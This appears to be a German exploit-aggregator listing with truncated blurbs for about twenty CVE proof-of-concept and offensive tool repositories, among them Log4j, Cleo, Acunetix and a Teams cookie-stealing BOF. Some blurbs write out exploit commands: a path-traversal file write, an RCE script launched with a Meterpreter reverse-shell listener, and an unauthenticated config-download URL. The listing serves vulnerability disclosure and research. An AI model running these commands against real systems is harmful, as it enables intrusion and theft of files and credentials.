CVE-2020-5421

Wiederholung der Spring-Sicherheitslücke CVE-2020-5421 Übersicht der Sicherheitslücke CVE-2020-5421 kann über den jsessionid-Pfadparameter den Schutz gegen RFD-Angriffe umgehen. Der vorherige Schutz gegen RFD wurde als Reaktion auf CVE-2015-5211 hinzugefügt. Was ist RFD? Reflective File Download...

CVE-2022-39196-

CVE-2022-39196 Blackboard CMS – Berechtigungserweiterung Blackboard Learn Version 1.10.1 ermöglicht es remote authentifizierten Benutzern, unbeabsichtigte Dateien zu lesen, indem sie Studentenanmeldeinformationen eingeben und dann direkt eine bestimmte webapps/bbcms/execute/ URL aufrufen...

CVE-2017-5638_struts

Ich habe Scott Campbells Skript weiter erweitert und es komplizierter gemacht : Während "HTTPStrutsAttack" 100 % der Aufklärung stoppt, bestand immer noch eine winzige Chance, dass ein Scanner, der ein verwundbares System trifft, trotz Blockierung des Scanners das in der HTTP-Anfrage enthaltene...

CVE-2020-3452_auto

Cisco ASA über CVE-2020-3452 enumerieren und Dateien herunterladen root@kitploit: python enum.py target Lua-Bytecode mit unluac konvertieren root@kitploit: bash convert.sh...

CVE-2023-36144

CVE-2023-36144 PoC für CVE-2023-36144 - Intelbras Switch SG 2404 MR L2+ Firmware 1.00.54 Sicherungsdatei ohne Authentifizierung herunterladen Schritte zur Reproduktion: 1. Rufen Sie den folgenden Link auf: http://127.0.0.1/cgi-bin/exportCfgwithpasswd ersetzen Sie 127.0.0.1 durch die IP-Adresse de...

wordpress-exploits

wordpress-exploits Zufällige WordPress-Exploits, die möglicherweise funktionieren oder auch nicht. CVE-2019-19985 Info root@kitploit: Description: Unauthenticated File Download w/ Information Disclosure CVE ID: CVE-2019-19985 CVSS v3.0 Score: 5.8 Medium CVSS Vector String:...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Test 1. LDAP-Server und Download-Server für Schadcode-Dateien 1.1 Docker-compose ausführen docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD:...

CVE-2024-50623

CVE-2024-50623 Cleo Unbeschränkter Datei-Upload und -Download PoC CVE-2024-50623 Beliebiger Datei-Schreibzugriff root@kitploit: python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action write --what poc.dll --where "........\poc.dll" / | | |\ \ \ / / \ \ / | | | | /...

CVE-2024-42642

CVE-2024-42642 Einleitung Das betreffende Gerät ist jede SSD der MX500-Serie. Diese SSDs werden von einem Sillicon-Motion SM2259-Controller gesteuert ältere Chargen hatten einen älteren Controller, Sillicon-Motion SM2258, aber der Hauptfokus dieses Dokuments liegt auf dem neueren. SM2259 ist ein...

ThreatHunting

ThreatHunting Ich veröffentliche GPL-v3-Tools zur Jagd auf Bedrohungen in Ihren Organisationen. Nexthink-Module Threat hunting - Potential malware downloads v1.0.xml Dies ist ein Bericht, der alle Aufrufe an Internet-Domains zeigt, die von gängigen Malware-Dokumenttechniken stammen. Die meisten...

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

Sicherheitshinweis: Unzureichende Zugriffskontrollen erlauben unbefugte Datei-Downloads Let's Chat Zugewiesene CVE-ID: CVE-2026-66750 Zusammenfassung GET /files/:id/:name prüft, dass der Aufrufer angemeldet ist, und stellt dann die Datei bereit. Es wird jedoch nie geprüft, ob der Aufrufer den Rau...

CVE-2023-33410

CVE-2023-33410 Minical 1.0.0 ist anfällig für CSV-Injection. Anbieter: https://github.com/minical/minical Demo-Anwendung: https://demo.minical.io/ PoC Schritt 1: Navigieren Sie zum Modul "Buchhaltung" und klicken Sie auf "Neuen Kunden anlegen". Schritt 2: Geben Sie die Payload in das Feld "Name"...

Kali-Linux

...

CVE-2020-5398

CVE-2020-5398 - RFD Reflected File Download Angriff auf Spring MVC In Spring Framework, Versionen 5.2.x vor 5.2.3, Versionen 5.1.x vor 5.1.13 und Versionen 5.0.x vor 5.0.16 ist eine Anwendung anfällig für einen Reflected File Download RFD Angriff, wenn sie einen „Content-Disposition“-Header in de...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE Verwendung Führe das Skript mit aus root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse T...

CVE-2024-50623

POC - CVE-2024-50623 - Cleo Upload e Download Irrestritos de Arquivos Visão Geral CVE-2024-50623 é uma vulnerabilidade crítica identificada nos produtos de software de transferência de arquivos da Cleo — Cleo Harmony, Cleo VLTrader e Cleo LexiCom — em versões anteriores a 5.8.0.21. Esta falha...

teams-cookies-bof

teams-cookies-bof Stehlen Sie Cookies für Teams, während Sie im ms-teams.exe-Prozess laufen. Verwandter Beitrag: https://tierzerosecurity.co.nz/2025/11/03/teams-cookies-bof.html Basiert auf: https://blog.randorisec.fr/ms-teams-access-tokens/. Dieses Tool basiert stark auf dem Cookie-Monster-BOF...

CVE-2020-1611

Juniper Junos Space vor 19.4R1 Schwachstelle bezüglich lokaler Dateieinbindung CVE-2020-1611 PoC Juniper Junos Space vor Version 19.4R1 ist anfällig für eine lokale Dateieinbindungsschwachstelle. Ein Angreifer mit normalen Benutzerrechten könnte diese Schwachstelle ausnutzen. Die Funktion „Downlo...

CVE-2026-27944

CVE-2026-27944 - Nginx UI Nicht authentifizierter Backup-Download & Entschlüsselung https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/PoC-Exploit-red Ein Proof-of-Concept-Exploit PoC für CVE‑2026‑27944, eine kritische...

CVE-2024-32830-poc

CVE-2024-32830-poc PoC-Code zum Herunterladen von Dateien mit CVE-2024-32830 getimagesize-Umgehung Um die getimagesize-Einschränkung zu umgehen, können wir ein einfaches image/vnd.wap.wbmp-Bild für PHP erstellen. Die Prüfung des Dateityps ist sehr einfach: root@kitploit: //...